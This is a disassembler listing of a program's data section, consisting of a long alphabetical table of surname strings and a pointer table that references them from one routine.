aPerone		db 'Perone',0           ; DATA XREF: .data:0043E904o
		align 10h
aPerrimon	db 'Perrimon',0         ; DATA XREF: .data:0043E908o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: .data:0043E90Co
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: .data:0043E910o
		align 10h
aPettibone	db 'Pettibone',0        ; DATA XREF: .data:0043E914o
		align 4
aPettit		db 'Pettit',0           ; DATA XREF: .data:0043E918o
		align 4
aPfister	db 'Pfister',0          ; DATA XREF: .data:0043E91Co
aPilbeam	db 'Pilbeam',0          ; DATA XREF: .data:0043E920o
aPinot		db 'Pinot',0            ; DATA XREF: .data:0043E924o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: .data:0043E928o
aPlant		db 'Plant',0            ; DATA XREF: .data:0043E92Co
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: .data:0043E930o
aPlous		db 'Plous',0            ; DATA XREF: .data:0043E934o
		align 4
aPo		db 'Po',0               ; DATA XREF: .data:0043E938o
		align 10h
aPocobene	db 'Pocobene',0         ; DATA XREF: .data:0043E93Co
		align 4
aPoincaire	db 'Poincaire',0        ; DATA XREF: .data:0043E940o
		align 4
aPointer	db 'Pointer',0          ; DATA XREF: .data:0043E944o
aPoirier	db 'Poirier',0          ; DATA XREF: .data:0043E948o
aPolak		db 'Polak',0            ; DATA XREF: .data:0043E94Co
		align 10h
aPolanyi	db 'Polanyi',0          ; DATA XREF: .data:0043E950o
aPolitis	db 'Politis',0          ; DATA XREF: .data:0043E954o
aPoma		db 'Poma',0             ; DATA XREF: .data:0043E958o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: .data:0043E95Co
aPowers		db 'Powers',0           ; DATA XREF: .data:0043E960o
		align 4
aPresper	db 'Presper',0          ; DATA XREF: .data:0043E964o
aPreucel	db 'Preucel',0          ; DATA XREF: .data:0043E968o
aPrevost	db 'Prevost',0          ; DATA XREF: .data:0043E96Co
aPritchard	db 'Pritchard',0        ; DATA XREF: .data:0043E970o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: .data:0043E974o
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: .data:0043E978o
		align 10h
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: .data:0043E97Co
		align 10h
aPuccia		db 'Puccia',0           ; DATA XREF: .data:0043E980o
		align 4
aPugh		db 'Pugh',0             ; DATA XREF: .data:0043E984o
		align 10h
aPynchon	db 'Pynchon',0          ; DATA XREF: .data:0043E988o
aQuaday		db 'Quaday',0           ; DATA XREF: .data:0043E98Co
		align 10h
aQuetin		db 'Quetin',0           ; DATA XREF: .data:0043E990o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: .data:0043E994o
		align 10h
aRabkin		db 'Rabkin',0           ; DATA XREF: .data:0043E998o
		align 4
aRadeke		db 'Radeke',0           ; DATA XREF: .data:0043E99Co
		align 10h
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: .data:0043E9A0o
aRaney		db 'Raney',0            ; DATA XREF: .data:0043E9A4o
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: .data:0043E9A8o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: .data:0043E9ACo
		align 4
aRapple		db 'Rapple',0           ; DATA XREF: .data:0043E9B0o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: .data:0043E9B4o
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: .data:0043E9B8o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: .data:0043E9BCo
		align 10h
aCunningham	db 'Cunningham',0       ; DATA XREF: .data:0043E9C0o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: .data:0043E9C4o
aRemak		db 'Remak',0            ; DATA XREF: .data:0043E9C8o
		align 4
aRenick		db 'Renick',0           ; DATA XREF: .data:0043E9CCo
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: .data:0043E9D0o
aResnik		db 'Resnik',0           ; DATA XREF: .data:0043E9D4o
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: .data:0043E9D8o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: .data:0043E9DCo
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: .data:0043E9E0o
		align 10h
aRindos		db 'Rindos',0           ; DATA XREF: .data:0043E9E4o
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: .data:0043E9E8o
		align 10h
aRish		db 'Rish',0             ; DATA XREF: .data:0043E9ECo
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: .data:0043E9F0o
		align 10h
aRobinson	db 'Robinson',0         ; DATA XREF: .data:0043E9F4o
		align 4
aRocha		db 'Rocha',0            ; DATA XREF: .data:0043E9F8o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: .data:0043E9FCo
aRogers		db 'Rogers',0           ; DATA XREF: .data:0043EA00o
		align 4
aRonen		db 'Ronen',0            ; DATA XREF: .data:0043EA04o
		align 4
aRow		db 'Row',0              ; DATA XREF: .data:0043EA08o
aRoyal		db 'Royal',0            ; DATA XREF: .data:0043EA0Co
		align 4
aRu		db 'Ru',0               ; DATA XREF: .data:0043EA10o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: .data:0043EA14o
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: .data:0043EA18o
		align 10h
aRuescher	db 'Ruescher',0         ; DATA XREF: .data:0043EA1Co
		align 4
aRush		db 'Rush',0             ; DATA XREF: .data:0043EA20o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: .data:0043EA24o
aSabatello	db 'Sabatello',0        ; DATA XREF: .data:0043EA28o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: .data:0043EA2Co
		align 4
aSafire		db 'Safire',0           ; DATA XREF: .data:0043EA30o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: .data:0043EA34o
		align 4
aSali		db 'Sali',0             ; DATA XREF: .data:0043EA38o
		align 4
aSamson		db 'Samson',0           ; DATA XREF: .data:0043EA3Co
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: .data:0043EA40o
aSanna		db 'Sanna',0            ; DATA XREF: .data:0043EA44o
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: .data:0043EA48o
		align 4
aSarin		db 'Sarin',0            ; DATA XREF: .data:0043EA4Co
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: .data:0043EA50o
aSase		db 'Sase',0             ; DATA XREF: .data:0043EA54o
		align 4
aSatin		db 'Satin',0            ; DATA XREF: .data:0043EA58o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: .data:0043EA5Co
		align 4
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: .data:0043EA60o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: .data:0043EA64o
aSayied		db 'Sayied',0           ; DATA XREF: .data:0043EA68o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: .data:0043EA6Co
		align 10h
aScepan		db 'Scepan',0           ; DATA XREF: .data:0043EA70o
		align 4
aScharf		db 'Scharf',0           ; DATA XREF: .data:0043EA74o
		align 10h
aScharlemann	db 'Scharlemann',0      ; DATA XREF: .data:0043EA78o
aScheiner	db 'Scheiner',0         ; DATA XREF: .data:0043EA7Co
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: .data:0043EA80o
aSchifini	db 'Schifini',0         ; DATA XREF: .data:0043EA84o
		align 4
aSchilling	db 'Schilling',0        ; DATA XREF: .data:0043EA88o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: .data:0043EA8Co
aSchossberger	db 'Schossberger',0     ; DATA XREF: .data:0043EA90o
		align 10h
aSchuman	db 'Schuman',0          ; DATA XREF: .data:0043EA94o
aSchutte	db 'Schutte',0          ; DATA XREF: .data:0043EA98o
aSchuyler	db 'Schuyler',0         ; DATA XREF: .data:0043EA9Co
		align 4
aSchwan		db 'Schwan',0           ; DATA XREF: .data:0043EAA0o
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: .data:0043EAA4o
aScovel		db 'Scovel',0           ; DATA XREF: .data:0043EAA8o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: .data:0043EAACo
aSeaton		db 'Seaton',0           ; DATA XREF: .data:0043EAB0o
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: .data:0043EAB4o
		align 10h
aSegal		db 'Segal',0            ; DATA XREF: .data:0043EAB8o
		align 4
aSekler		db 'Sekler',0           ; DATA XREF: .data:0043EABCo
		align 10h
aSelvage	db 'Selvage',0          ; DATA XREF: .data:0043EAC0o
aSen		db 'Sen',0              ; DATA XREF: .data:0043EAC4o
aSennett	db 'Sennett',0          ; DATA XREF: .data:0043EAC8o
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: .data:0043EACCo
		align 10h
aSexton		db 'Sexton',0           ; DATA XREF: .data:0043EAD0o
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: .data:0043EAD4o
aShaikh		db 'Shaikh',0           ; DATA XREF: .data:0043EAD8o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: .data:0043EADCo
		align 10h
aShankland	db 'Shankland',0        ; DATA XREF: .data:0043EAE0o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: .data:0043EAE4o
aShar		db 'Shar',0             ; DATA XREF: .data:0043EAE8o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: .data:0043EAECo
aShavelson	db 'Shavelson',0        ; DATA XREF: .data:0043EAF0o
		align 10h
aShea		db 'Shea',0             ; DATA XREF: .data:0043EAF4o
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: .data:0043EAF8o
		align 10h
aShepherd	db 'Shepherd',0         ; DATA XREF: .data:0043EAFCo
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: .data:0043EB00o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: .data:0043EB04o
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: .data:0043EB08o
		align 4
aShia		db 'Shia',0             ; DATA XREF: .data:0043EB0Co
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: .data:0043EB10o
aShimon		db 'Shimon',0           ; DATA XREF: .data:0043EB14o
		align 4
aSiesto		db 'Siesto',0           ; DATA XREF: .data:0043EB18o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: .data:0043EB1Co
aSigini		db 'Sigini',0           ; DATA XREF: .data:0043EB20o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: .data:0043EB24o
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: .data:0043EB28o
		align 10h
aSilvetti	db 'Silvetti',0         ; DATA XREF: .data:0043EB2Co
		align 4
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: .data:0043EB30o
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: .data:0043EB34o
aSites		db 'Sites',0            ; DATA XREF: .data:0043EB38o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: .data:0043EB3Co
		align 10h
aSkerry		db 'Skerry',0           ; DATA XREF: .data:0043EB40o
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: .data:0043EB44o
		align 10h
aSloan		db 'Sloan',0            ; DATA XREF: .data:0043EB48o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: .data:0043EB4Co
		align 10h
aSmilow		db 'Smilow',0           ; DATA XREF: .data:0043EB50o
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: .data:0043EB54o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: .data:0043EB58o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: .data:0043EB5Co
aSolon		db 'Solon',0            ; DATA XREF: .data:0043EB60o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: .data:0043EB64o
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: .data:0043EB68o
		align 10h
aSorabella	db 'Sorabella',0        ; DATA XREF: .data:0043EB6Co
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: .data:0043EB70o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: .data:0043EB74o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: .data:0043EB78o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: .data:0043EB7Co
		align 4
aSoultanian	db 'Soultanian',0       ; DATA XREF: .data:0043EB80o
		align 4
aSpanier	db 'Spanier',0          ; DATA XREF: .data:0043EB84o
aSparrow	db 'Sparrow',0          ; DATA XREF: .data:0043EB88o
aSpaulding	db 'Spaulding',0        ; DATA XREF: .data:0043EB8Co
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: .data:0043EB90o
aSpence		db 'Spence',0           ; DATA XREF: .data:0043EB94o
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: .data:0043EB98o
aSpicer		db 'Spicer',0           ; DATA XREF: .data:0043EB9Co
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: .data:0043EBA0o
		align 4
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: .data:0043EBA4o
		align 10h
aSpinrad	db 'Spinrad',0          ; DATA XREF: .data:0043EBA8o
aStmartin	db 'StMartin',0         ; DATA XREF: .data:0043EBACo
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: .data:0043EBB0o
aStam		db 'Stam',0             ; DATA XREF: .data:0043EBB4o
		align 4
aStang		db 'Stang',0            ; DATA XREF: .data:0043EBB8o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: .data:0043EBBCo
		align 4
aStates		db 'States',0           ; DATA XREF: .data:0043EBC0o
		align 4
aStatlender	db 'Statlender',0       ; DATA XREF: .data:0043EBC4o
		align 10h
aStefani	db 'Stefani',0          ; DATA XREF: .data:0043EBC8o
aSteiner	db 'Steiner',0          ; DATA XREF: .data:0043EBCCo
aStephanian	db 'Stephanian',0       ; DATA XREF: .data:0043EBD0o
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: .data:0043EBD4o
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: .data:0043EBD8o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: .data:0043EBDCo
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: .data:0043EBE0o
		align 10h
aStock		db 'Stock',0            ; DATA XREF: .data:0043EBE4o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: .data:0043EBE8o
		align 4
aStockwell	db 'Stockwell',0        ; DATA XREF: .data:0043EBECo
		align 10h
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: .data:0043EBF0o
aStonich	db 'Stonich',0          ; DATA XREF: .data:0043EBF4o
aStorer		db 'Storer',0           ; DATA XREF: .data:0043EBF8o
		align 4
aStott		db 'Stott',0            ; DATA XREF: .data:0043EBFCo
		align 4
aStrange	db 'Strange',0          ; DATA XREF: .data:0043EC00o
aStrauch	db 'Strauch',0          ; DATA XREF: .data:0043EC04o
aStreiff	db 'Streiff',0          ; DATA XREF: .data:0043EC08o
aStringer	db 'Stringer',0         ; DATA XREF: .data:0043EC0Co
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: .data:0043EC10o
		align 4
aSumner		db 'Sumner',0           ; DATA XREF: .data:0043EC14o
		align 4
aSuo		db 'Suo',0              ; DATA XREF: .data:0043EC18o
aSurdam		db 'Surdam',0           ; DATA XREF: .data:0043EC1Co
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: .data:0043EC20o
		align 4
aSweetser	db 'Sweetser',0         ; DATA XREF: .data:0043EC24o
		align 10h
aSwindle	db 'Swindle',0          ; DATA XREF: .data:0043EC28o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: .data:0043EC2Co
aTai		db 'Tai',0              ; DATA XREF: .data:0043EC30o
aTalaugon	db 'Talaugon',0         ; DATA XREF: .data:0043EC34o
		align 10h
aTambiah	db 'Tambiah',0          ; DATA XREF: .data:0043EC38o
aTandler	db 'Tandler',0          ; DATA XREF: .data:0043EC3Co
aTanowitz	db 'Tanowitz',0         ; DATA XREF: .data:0043EC40o
		align 4
aTatar		db 'Tatar',0            ; DATA XREF: .data:0043EC44o
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: .data:0043EC48o
aTawn		db 'Tawn',0             ; DATA XREF: .data:0043EC4Co
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: .data:0043EC50o
		align 10h
aTeague		db 'Teague',0           ; DATA XREF: .data:0043EC54o
		align 4
aTemes		db 'Temes',0            ; DATA XREF: .data:0043EC58o
		align 10h
aTemmer		db 'Temmer',0           ; DATA XREF: .data:0043EC5Co
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: .data:0043EC60o
		align 10h
aTerracini	db 'Terracini',0        ; DATA XREF: .data:0043EC64o
		align 4
aThan		db 'Than',0             ; DATA XREF: .data:0043EC68o
		align 4
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: .data:0043EC6Co
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: .data:0043EC70o
aThibault	db 'Thibault',0         ; DATA XREF: .data:0043EC74o
		align 4
aThisted	db 'Thisted',0          ; DATA XREF: .data:0043EC78o
aThomsen	db 'Thomsen',0          ; DATA XREF: .data:0043EC7Co
aThroop		db 'Throop',0           ; DATA XREF: .data:0043EC80o
		align 10h
aTierney	db 'Tierney',0          ; DATA XREF: .data:0043EC84o
aTill		db 'Till',0             ; DATA XREF: .data:0043EC88o
		align 10h
aTimmons	db 'Timmons',0          ; DATA XREF: .data:0043EC8Co
aTofallis	db 'Tofallis',0         ; DATA XREF: .data:0043EC90o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: .data:0043EC94o
		align 10h
aTolls		db 'Tolls',0            ; DATA XREF: .data:0043EC98o
		align 4
aTolman		db 'Tolman',0           ; DATA XREF: .data:0043EC9Co
		align 10h
aTomford	db 'Tomford',0          ; DATA XREF: .data:0043ECA0o
aToomer		db 'Toomer',0           ; DATA XREF: .data:0043ECA4o
		align 10h
aTopulos	db 'Topulos',0          ; DATA XREF: .data:0043ECA8o
aTorresi	db 'Torresi',0          ; DATA XREF: .data:0043ECACo
aTorske		db 'Torske',0           ; DATA XREF: .data:0043ECB0o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: .data:0043ECB4o
		align 10h
aToye		db 'Toye',0             ; DATA XREF: .data:0043ECB8o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: .data:0043ECBCo
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: .data:0043ECC0o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: .data:0043ECC4o
		align 4
aTringali	db 'Tringali',0         ; DATA XREF: .data:0043ECC8o
		align 10h
aTroiani	db 'Troiani',0          ; DATA XREF: .data:0043ECCCo
aTroy		db 'Troy',0
		align 10h
aTruss		db 'Truss',0
		align 4
aTsiatis	db 'Tsiatis',0
aTsomides	db 'Tsomides',0
		align 4
aTsukurov	db 'Tsukurov',0
		align 4
aTuck		db 'Tuck',0
		align 10h
aTudge		db 'Tudge',0
		align 4
aTukan		db 'Tukan',0
		align 10h
aTurano		db 'Turano',0
		align 4
aTurek		db 'Turek',0
		align 10h
aTuttle		db 'Tuttle',0
		align 4
aTwells		db 'Twells',0
		align 10h
aTzamarias	db 'Tzamarias',0        ; DATA XREF: .data:0043ED00o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: .data:0043ED04o
		align 4
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: .data:0043ED08o
		align 10h
aUpsdell	db 'Upsdell',0          ; DATA XREF: .data:0043ED0Co
aUrban		db 'Urban',0            ; DATA XREF: .data:0043ED10o
		align 10h
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: .data:0043ED14o
		align 10h
aUsdan		db 'Usdan',0            ; DATA XREF: .data:0043ED18o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: .data:0043ED1Co
		align 10h
aVacca		db 'Vacca',0            ; DATA XREF: .data:0043ED20o
		align 4
aWaite		db 'Waite',0            ; DATA XREF: .data:0043ED24o
		align 10h
aValberg	db 'Valberg',0          ; DATA XREF: .data:0043ED28o
aValencia	db 'Valencia',0         ; DATA XREF: .data:0043ED2Co
		align 4
aWales		db 'Wales',0            ; DATA XREF: .data:0043ED30o
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: .data:0043ED34o
		align 4
aWalter		db 'Walter',0           ; DATA XREF: .data:0043ED38o
		align 10h
aVanallen	db 'vanAllen',0         ; DATA XREF: .data:0043ED3Co
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: .data:0043ED40o
aVandenberg	db 'Vandenberg',0       ; DATA XREF: .data:0043ED44o
		align 10h
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: .data:0043ED48o
		align 10h
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: .data:0043ED4Co
		align 4
aWasowska	db 'Wasowska',0         ; DATA XREF: .data:0043ED50o
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: .data:0043ED54o
aWaugh		db 'Waugh',0            ; DATA XREF: .data:0043ED58o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: .data:0043ED5Co
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: .data:0043ED60o
		align 10h
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: .data:0043ED64o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: .data:0043ED68o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: .data:0043ED6Co
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: .data:0043ED70o
		align 10h
aWelles		db 'Welles',0           ; DATA XREF: .data:0043ED74o
		align 4
aWelsh		db 'Welsh',0            ; DATA XREF: .data:0043ED78o
		align 10h
aWengret	db 'Wengret',0          ; DATA XREF: .data:0043ED7Co
aVenne		db 'Venne',0            ; DATA XREF: .data:0043ED80o
		align 10h
aVerghese	db 'Verghese',0         ; DATA XREF: .data:0043ED84o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: .data:0043ED88o
aWetzel		db 'Wetzel',0           ; DATA XREF: .data:0043ED8Co
		align 4
aWhately	db 'Whately',0          ; DATA XREF: .data:0043ED90o
aWhilton	db 'Whilton',0          ; DATA XREF: .data:0043ED94o
aWhite		db 'White',0            ; DATA XREF: .data:0043ED98o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: .data:0043ED9Co
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: .data:0043EDA0o
		align 4
aViana		db 'Viana',0            ; DATA XREF: .data:0043EDA4o
		align 10h
aViano		db 'Viano',0            ; DATA XREF: .data:0043EDA8o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: .data:0043EDACo
aWiener		db 'Wiener',0           ; DATA XREF: .data:0043EDB0o
		align 4
aViens		db 'Viens',0            ; DATA XREF: .data:0043EDB4o
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: .data:0043EDB8o
aWilder		db 'Wilder',0           ; DATA XREF: .data:0043EDBCo
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: .data:0043EDC0o
aWilk		db 'Wilk',0             ; DATA XREF: .data:0043EDC4o
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: .data:0043EDC8o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: .data:0043EDCCo
		align 4
aVillarreal	db 'Villarreal',0       ; DATA XREF: .data:0043EDD0o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: .data:0043EDD4o
aWilson		db 'Wilson',0           ; DATA XREF: .data:0043EDD8o
		align 4
aVitali		db 'Vitali',0           ; DATA XREF: .data:0043EDDCo
		align 10h
aViviani	db 'Viviani',0          ; DATA XREF: .data:0043EDE0o
aVoigt		db 'Voigt',0            ; DATA XREF: .data:0043EDE4o
		align 10h
aWolk		db 'Wolk',0
		align 4
aVonhoffman	db 'VonHoffman',0
		align 4
aWoo		db 'Woo',0
aWooden		db 'Wooden',0
		align 10h
aWoods		db 'Woods',0
		align 4
aWoodsPowell	db 'Woods-Powell',0
		align 4
aVorhaus	db 'Vorhaus',0
aVotey		db 'Votey',0
		align 4
aYacono		db 'Yacono',0
		align 10h
aYamane		db 'Yamane',0
		align 4
aYankee		db 'Yankee',0
		align 10h
aYarchuk	db 'Yarchuk',0
aYates		db 'Yates',0
		align 10h
aYbarra		db 'Ybarra',0
		align 4
aYedidia	db 'Yedidia',0
aYesson		db 'Yesson',0
		align 4
aYetiv		db 'Yetiv',0
		align 10h
aYoffe		db 'Yoffe',0
		align 4
aYoo		db 'Yoo',0
aYoukSee	db 'Youk-See',0
		align 4
aYu		db 'Yu',0
		align 4
aZachary	db 'Zachary',0
aZahedi		db 'Zahedi',0
		align 4
aZangwill	db 'Zangwill',0
		align 4
aZegans		db 'Zegans',0           ; DATA XREF: .data:0043EE48o
		align 10h
aZerbini	db 'Zerbini',0          ; DATA XREF: .data:0043EE4Co
aZoldak		db 'Zoldak',0           ; DATA XREF: .data:0043EE50o
		align 10h
aZucconi	db 'Zucconi',0          ; DATA XREF: .data:0043EE54o
aZurn		db 'Zurn',0             ; DATA XREF: .data:0043EE58o
		align 10h
aZwiers		db 'Zwiers',0           ; DATA XREF: .data:0043EE5Co
		align 4
aZytowski	db 'Zytowski',0         ; DATA XREF: .data:0043EE60o
		align 8
off_43DC28	dd offset aAbdulrazak	; DATA XREF: sub_408F7D+20r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
		dd offset aAddison	; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
